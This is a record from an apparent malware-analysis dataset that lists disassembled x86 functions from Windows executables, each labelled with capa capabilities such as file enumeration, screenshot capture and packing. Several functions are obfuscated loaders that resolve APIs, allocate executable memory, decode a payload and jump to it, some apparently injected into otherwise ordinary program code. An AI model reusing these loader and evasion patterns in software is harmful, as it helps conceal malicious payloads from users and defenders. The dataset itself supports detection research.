joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405ecb
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00402b10
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405f66
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x4096e8]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x405f66
cmp eax, 1
je 0x405f87
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405f66
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x405f33
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x405f62
xor eax, eax
inc eax
jmp 0x405fa6
cmp edi, eax
jae 0x405f6a
xor eax, eax
jmp 0x405fa6
cmp eax, esi
jae 0x405f71
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x4096e8]
jmp 0x405f8a
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403e62
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x403e71
pop dword [ebp - 0x50]
mov eax, 0x2e24d07f
sub eax, 0x2de4920e
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x3a5c121e
sub dword [ebp - 0x60], 0xec09ccd3
mov dword [ebp - 0x5c], 0x96fbd1f2
sub dword [ebp - 0x5c], 0x64c885ad
mov dword [ebp - 0x58], 0x7df94e03
sub dword [ebp - 0x58], 0x31ad09d5
mov dword [ebp - 0x54], 0x956bcce7
sub dword [ebp - 0x54], 0x956bcce7
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x9ae35a94
add dword [ebp - 0x60], 0xd98f0ec2
mov dword [ebp - 0x5c], 0x30aadd8c
sub dword [ebp - 0x5c], 0xef3e7c17
mov dword [ebp - 0x58], 0x3bfa5f7e
sub dword [ebp - 0x58], 0xd88af312
mov dword [ebp - 0x54], 0xf698fc6a
sub dword [ebp - 0x54], 0xf698fc6a
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x31407f9f
add eax, 0xceff9159
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x378da
push 0
call eax
mov ecx, 0xb37c57c8
sub ecx, 0xb37c11ff
xor edi, edi
add edi, eax
mov ebx, 0x433600
add ebx, dword [ebp - 0x50]
mov edx, 0x15c551d7
sub dword [ebp - 0x2c], ebx
mov esi, dword [ebx]
xor dword [ebp - 8], 0xa1f54f39
sub esi, edx
sub dword [ebp - 8], 0xc264a2ec
mov dword [edi], esi
sub dword [ebp - 0x1c], 0x3b5a9f63
add edi, 4
add ebx, 4
loop 0x403f84
add eax, 0x109f7
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x406887
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40202c]
jne 0x406cb9
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x4092e0], eax
mov dword [0x4092dc], ecx
mov dword [0x4092d8], edx
mov dword [0x4092d4], ebx
mov dword [0x4092d0], esi
mov dword [0x4092cc], edi
mov word [0x4092f8], ss
mov word [0x4092ec], cs
mov word [0x4092c8], ds
mov word [0x4092c4], es
mov word [0x4092c0], fs
mov word [0x4092bc], gs
pushfd
pop dword [0x4092f0]
mov eax, dword [ebp]
mov dword [0x4092e4], eax
mov eax, dword [ebp + 4]
mov dword [0x4092e8], eax
lea eax, [ebp + 8]
mov dword [0x4092f4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x409230], 0x10001
mov eax, dword [0x4092e8]
mov dword [0x4091e4], eax
mov dword [0x4091d8], 0xc0000409
mov dword [0x4091dc], 1
mov eax, dword [0x40202c]
mov dword [ebp - 0x328], eax
mov eax, dword [0x40918c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x409228], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x402038
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x409228], 0
jne 0x406da5
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x406b74
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x4076e8
call fcn.00406c3b
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
cmp dword [0x409580], ebx
jne 0x40690d
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], ebx
mov edi, 0x409574
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x406947
cmp eax, esi
jne 0x40693a
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x40694a
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x406921
xor esi, esi
inc esi
mov eax, dword [0x409570]
cmp eax, esi
jne 0x40695d
push 0x1f
call sub.msvcr100.dll__amsg_exit
pop ecx
jmp 0x406998
mov eax, dword [0x409570]
test eax, eax
jne 0x406992
mov dword [0x409570], esi
push 0x401164
push 0x401158
call sub.msvcr100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x406998
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x406ab4
mov dword [0x4091d4], esi
mov eax, dword [0x409570]
cmp eax, esi
jne 0x4069bc
push 0x401154
push 0x40114c
call sub.msvcr100.dll__initterm
pop ecx
pop ecx
mov dword [0x409570], 2
cmp dword [ebp - 0x24], ebx
jne 0x4069c9
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x409584], ebx
je 0x4069ea
push 0x409584
call main
pop ecx
test eax, eax
je 0x4069ea
push ebx
push 2
push ebx
call dword [0x409584]
mov eax, dword [sym.imp.msvcr100.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x406a45
cmp al, bl
je 0x406a03
cmp dword [ebp - 0x1c], ebx
jne 0x406a45
mov al, byte [esi]
cmp al, bl
je 0x406a13
cmp al, 0x20
ja 0x406a13
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406a03
test byte [ebp - 0x40], 1
je 0x406a1f
movzx eax, word [ebp - 0x3c]
jmp 0x406a22
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
jmp 0x406a31
mov dword [0x4091d0], eax
cmp dword [0x4091c4], ebx
jne 0x406a9a
push eax
call dword [sym.imp.msvcr100.dll_exit]
cmp al, 0x22
jne 0x406a54
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcr100.dll__ismbblead]
pop ecx
test eax, eax
je 0x406a67
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x4069f1
cmp dword [0x4091d4], ebx
jne 0x406aa8
call dword [sym.imp.msvcr100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x4091d0]
call fcn.00406c80
ret
call main
jmp 0x4068df
Function at 0x402680
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402838
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4028d0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4028b0
xor eax, eax
push ebp
push 0x4028a9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4028ec
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4028b0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409018], ax
mov esp, ebp
pop ebp
ret

Function at 0x402f18
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x402f79
cmp word [0x40a208], 0xd7b2
jne 0x402f41
cmp dword [0x40a210], 0
jbe 0x402f41
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402fa0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409024], 0
jne 0x402f95
push 0
push 0x409058
push 0x409060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403cb4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
jmp loc.0041b258
Function at 0x405080
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
mov eax, dword [ebp - 8]
call fcn.004033fc
xor eax, eax
push ebp
push 0x4051db
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00403094
cmp dword [ebp - 4], 0
je 0x4050ee
mov eax, dword [ebp - 4]
call fcn.0040320c
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x4050ee
lea eax, [ebp - 4]
mov edx, 0x4051f0
call fcn.00403214
cmp dword [ebp - 8], 0
je 0x40511d
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x40511d
lea ecx, [ebp - 0x150]
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00404728
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 8]
call fcn.0040312c
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00403258
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0xc]
call fcn.0040340c
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
test esi, esi
setne al
jmp 0x4051a6
test dword [ebp - 0x14c], 0x10
ja 0x405193
cmp dword [ebx], 0
je 0x405166
mov eax, ebx
mov edx, 0x4051fc
call fcn.00403214
push dword [ebx]
push dword [ebp - 4]
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.004031f4
push dword [ebp - 0x154]
mov eax, ebx
mov edx, 3
call fcn.004032cc
lea eax, [ebp - 0x14c]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x405149
push esi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4051e2
lea eax, [ebp - 0x154]
mov edx, 2
call fcn.004030b8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004030b8
ret

Function at 0x405634
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov ebx, eax
pushal
call fcn.004052d8
call fcn.0040456c
mov dword [ebx + 0x18], eax
popal
pushal
lea eax, [ebx + 0x1c]
call fcn.004030e8
popal
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x40574c
pushal
lea edx, [ebx + 0x1c]
mov eax, dword [edx]
call fcn.00404db8
mov eax, dword [ebx + 0x20]
test eax, eax
jne 0x4056a9
call fcn.00405c80
mov dword [ebx + 0x20], eax
popal
pushal
push ecx
xchg ecx, eax
mov edx, 0x40569b
call fcn.004048d8
test al, al
pop edx
jne fcn.00405691
jmp loc.0041bed8
Function at 0x405e94
Capabilities:
Packed with generic packer

Disassembly:
dec cl
je 0x405e9f
pushal
call fcn.00405cbc
popal
call fcn.0040449c
je 0x405f6d
push ebx
push edi
mov ebx, eax
mov edi, dword [ebx + 0x25]
mov eax, dword [edx - 4]
inc eax
push eax
push edx
push dword [ebx + 0x21]
add eax, dword [ebx + 0x25]
call fcn.00402448
mov dword [ebx + 0x21], eax
mov ecx, edi
xchg edx, eax
pop eax
jecxz 0x405ef4
push eax
call fcn.0040254c
pop edx
push edx
push esi
mov esi, dword [ebx + 0x18]
mov esi, dword [esi + 0x18]
mov ecx, dword [ebx + 0x1c]
lodsd eax, dword [esi]
sub eax, edx
cmp eax, dword [ebx + 0x25]
jae 0x405eeb
add eax, dword [ebx + 0x21]
mov dword [esi - 4], eax
loop 0x405edd
pop esi
pop eax
call fcn.00402468
pop eax
mov edx, edi
add edx, dword [ebx + 0x21]
pop ecx
push ecx
add dword [ebx + 0x25], ecx
call fcn.0040254c
add edi, dword [ebx + 0x21]
mov ecx, dword [ebx + 0x18]
inc ecx
loop 0x405f15
call fcn.0040456c
mov dword [ebx + 0x18], eax
pop ecx
mov edx, dword [ebx + 0x1c]
push edi
push ecx
mov al, 0xd
cmp byte [edi], 0
je 0x405f2f
inc edx
repne scasb al, byte es:[edi]
jne 0x405f2f
cmp byte [edi], 0xa
jne 0x405f1d
inc edi
loop 0x405f1d
mov dword [ebx + 0x1c], edx
mov eax, dword [ebx + 0x18]
push edx
push eax
cmp edx, dword [eax + 0x20]
jle 0x405f41
call fcn.004045b4
pop eax
pop ecx
xchg dword [eax + 0x1c], ecx
mov edx, dword [eax + 0x18]
lea edx, [edx + ecx*4]
pop ecx
pop edi
mov eax, 0xd
cmp byte [edi], ah
je 0x405f6b
mov dword [edx], edi
add edx, 4
repne scasb al, byte es:[edi]
jne 0x405f6b
mov byte [edi - 1], ah
jmp 0x41b708
pop edi
pop ebx
ret

Function at 0x406218
Capabilities:
Capture screenshot

Disassembly:
push ebx
mov ebx, eax
call fcn.00406144
je 0x40625d
mov eax, ebx
push edx
call fcn.0040648c
pop edx
cmp eax, edx
je 0x40625d
test edx, edx
mov eax, ebx
jne 0x40623c
pop ebx
inc edx
jmp fcn.0040647c
mov byte [ebx + 0x49], dl
cmp dl, 5
jne 0x406245
dec edx
push edx
xor edx, edx
call fcn.0040647c
mov eax, dword [ebx + 0x3d]
movzx eax, word [eax + 0xe]
call fcn.00405f98
pop edx
cmp al, dl
xchg ebx, eax
pop ebx
jne fcn.0040627c
ret
Function at 0x406d40
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff64
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x9c], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406dfc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x97]
push eax
push 0x97
call sub.kernel32.dll_GetLogicalDriveStringsA
xor ebx, ebx
jmp 0x406dd5
mov esi, ebx
and esi, 0xff
lea eax, [ebp + esi - 0x97]
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 5
je 0x406dd2
mov al, byte [ebp + esi - 0x97]
call fcn.0040258c
cmp al, 0x41
je 0x406dd2
mov al, byte [ebp + esi - 0x97]
call fcn.0040258c
cmp al, 0x42
je 0x406dd2
lea eax, [ebp - 0x9c]
mov dl, byte [ebp + esi - 0x97]
call fcn.004031b4
mov edx, dword [ebp - 0x9c]
mov eax, edi
call fcn.00403214
add bl, 4
xor eax, eax
mov al, bl
cmp byte [ebp + eax - 0x97], 0
jne 0x406d79
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406e03
lea eax, [ebp - 0x9c]
call fcn.00403094
ret

Function at 0x407080
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
jmp loc.0041c900
Function at 0x412120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb000]
push edi
or ebp, 0xffffffff
jmp 0x412142
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x412149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x412138
mov eax, 1
add ebx, ebx
jne 0x41215b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41216c
jne 0x41218b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41218b
dec eax
add ebx, ebx
jne 0x412178
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x412150
add ebx, ebx
jne 0x412187
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4121dd
xor ecx, ecx
sub eax, 3
jb 0x4121a3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x412212
sar eax, 1
mov ebp, eax
jmp 0x4121ae
add ebx, ebx
jne 0x4121ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41217c
inc ecx
add ebx, ebx
jne 0x4121bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41217c
add ebx, ebx
jne 0x4121c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4121be
jne 0x4121da
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4121be
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4121fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4121ee
jmp 0x41213e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4121fc
add edi, ecx
jmp 0x41213e
pop esi
mov edi, esi
mov ecx, 0xa000
jmp 0x41224d
mov al, byte [edi]
inc edi
cmp al, 0x80
jb 0x41222d
cmp al, 0x8f
ja 0x41222d
cmp byte [edi - 2], 0xf
je 0x412233
sub al, 0xe8
cmp al, 1
ja 0x412257
cmp ecx, 4
jb 0x41225c
mov eax, dword [edi]
sub al, 0xa
jne 0x412257
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
sub ecx, 4
stosd dword es:[edi], eax
sub ecx, 1
jb 0x41225c
mov al, byte [edi]
inc edi
jmp 0x41222d
sub ecx, 1
jae 0x41221c
lea edi, [esi + 0x10000]
mov eax, dword [edi]
or eax, eax
je 0x4122ad
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1206c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x412262
mov ecx, edi
jns 0x412291
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12074]
or eax, eax
je 0x4122a7
mov dword [ebx], eax
add ebx, 4
jmp 0x41227f
call dword [esi + 0x12070]
mov ebp, dword [esi + 0x12078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4122e1
sub esp, 0xffffff80
jmp 0x403896
Function at 0x900c236
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x90a819f
call fcn.09007445
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
push 0x1a
pop esi
push 0x2b
pop eax
cmove esi, eax
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov eax, esi
or eax, 0x8000
cmp byte [ebp + 0xc], bl
push ebx
push ebx
cmovne esi, eax
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x900c292
xor al, al
jmp 0x900c2e2
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0900cf2c
push dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
push str.Adobe
call fcn.0900d7af
test al, al
je 0x900c2d5
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.0900efd7
mov ecx, edi
call fcn.0900e6d7
mov bl, al
lea ecx, [ebp - 0x230]
call fcn.0900efd7
mov al, bl
call fcn.090091e6
ret
Function at 0x900e6d7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 8
jb 0x900e6df
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x900e6ee
xor al, al
ret
shr eax, 4
and al, 1
ret

Function at 0x900efd7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x900efe6
pop dword [ebp - 0x14]
mov eax, 0x900efe6
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xb60aceda
sub dword [ebp - 0x24], 0x67b8898f
mov dword [ebp - 0x20], 0xe263af9c
add dword [ebp - 0x20], 0x4fcf9ca9
mov dword [ebp - 0x1c], 0x513ba55b
add dword [ebp - 0x1c], 0xfb109ed3
mov dword [ebp - 0x18], 0xb21ca239
add dword [ebp - 0x18], 0x4de35dc7
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xa4137aaf
add dword [ebp - 0x24], 0xd05eeea7
mov dword [ebp - 0x20], 0x152a0182
sub dword [ebp - 0x20], 0xd3bda00d
mov dword [ebp - 0x1c], 0xc9d60db4
sub dword [ebp - 0x1c], 0x6666a148
mov dword [ebp - 0x18], 0x242a7bb4
add dword [ebp - 0x18], 0xdbd5844c
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x6491f
push 0
call eax
mov ecx, 0x3047ca5e
add ecx, 0xcfb880c0
mov edi, eax
mov esi, 0x83e41400
add esi, 0x852b2c00
add esi, dword [ebp - 0x14]
mov ebx, 0xa4f3e7a9
sub dword [ebp - 8], 0x9b676d03
mov edx, dword [esi]
mov dword [ebp - 0x10], 0x67a27ae
add edx, ebx
sub dword [ebp - 0xc], 0x56fda16d
mov dword [edi], edx
xor dword [ebp - 8], 0x3614603c
add edi, 0x2012fc16
add edi, 0xdfed03ee
add esi, 0xb6603ce8
add esi, 0x499fc31c
loop 0x900f0f3
add eax, 0x47cf8400
add eax, 0xb8319b4b
xor ebx, ebx
add ebx, eax
add eax, 0x43060b84
add eax, 0xbcf9f481
mov ecx, 0x9000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x901c2a0
Capabilities:
Hash data with md5

Disassembly:
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov byte [ecx + 0x58], 0
ret
Function at 0x903d7c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x1f8
mov eax, 0x90a9b67
call fcn.09007445
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1fc]
mov esi, dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
push 0x80
push 0
push eax
mov dword [ebp - 0x200], ebx
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
mov ecx, 0x41444245
and dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 0x1e4]
push 1
push eax
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0x1f4], 0x4000000
mov dword [ebp - 0x1f0], 0x6c696e6b
mov dword [ebp - 0x1d8], 0x61637370
mov dword [ebp - 0x1b8], 0xf6d6
mov dword [ebp - 0x1b4], 0x10000
mov dword [ebp - 0x1b0], 0xd32d
mov dword [ebp - 0x1ac], ecx
call fcn.09007585
add esp, 0x14
lea eax, [ebp - 0x1fc]
lea ecx, [ebp - 0x17c]
push eax
push ebx
call fcn.0900efd7
push str.ACE_Device_Link
push ebx
lea ecx, [ebp - 0x74]
call fcn.0903a1fe
and dword [ebp - 4], 0
lea eax, [ebp - 0x74]
test esi, esi
lea ecx, [ebp - 0x17c]
cmovne eax, esi
push eax
call fcn.0900efd7
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x4c]
push ebx
call fcn.09039fb0
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x17c]
call fcn.0900efd7
lea ecx, [ebp - 0x24]
call fcn.0900efd7
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x17c]
call fcn.0900efd7
push edi
lea ecx, [ebp - 0x17c]
call fcn.0900efd7
lea ecx, [ebp - 0x17c]
call fcn.0900955c
mov ecx, dword [ebp - 0x200]
mov edi, eax
mov ebx, dword [edi + 0x28]
push ebx
call fcn.0900efd7
mov ecx, dword [edi]
push eax
push ebx
push 0
mov esi, dword [ecx + 0x18]
mov ecx, esi
mov dword [ebp - 0x204], eax
call dword [0x90ae2d0]
mov ecx, edi
call esi
mov ecx, edi
call fcn.0900642e
mov edi, dword [ebp - 0x204]
push ebx
push edi
call fcn.0900efd7
push ebx
mov ebx, dword [ebp - 0x200]
push edi
push ebx
call fcn.0900efd7
add esp, 0x14
mov ecx, ebx
mov esi, eax
push edi
call fcn.0900efd7
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x24], vtable.CProfileTag.0
mov byte [ebp - 4], 0
call fcn.0903ab60
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x74]
call fcn.0903ac7e
mov eax, esi
call fcn.090091e6
ret
Function at 0x90500f8
Capabilities:
Get memory capacity

Disassembly:
push 0x28
mov eax, 0x90aab4f
call fcn.0900578b
mov esi, ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x20
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
sub eax, dword [ebp - 0x20]
sub eax, dword [esi + 8]
sbb ecx, dword [esi + 0xc]
js 0x9050163
jg 0x905012d
test eax, eax
jb 0x9050163
mov edx, dword [esi + 4]
imul edi, edx, 3
test ecx, ecx
jg 0x9050163
jl 0x905013d
cmp eax, edi
ja 0x9050163
cmp eax, edx
jbe 0x9050157
mov ecx, dword [esi]
sub eax, edx
and dword [ebp - 4], 0
push eax
call fcn.0900efd7
jmp 0x9050163
jae 0x9050163
mov ecx, dword [esi]
sub edx, eax
push edx
call fcn.0900efd7
call fcn.0900625f
ret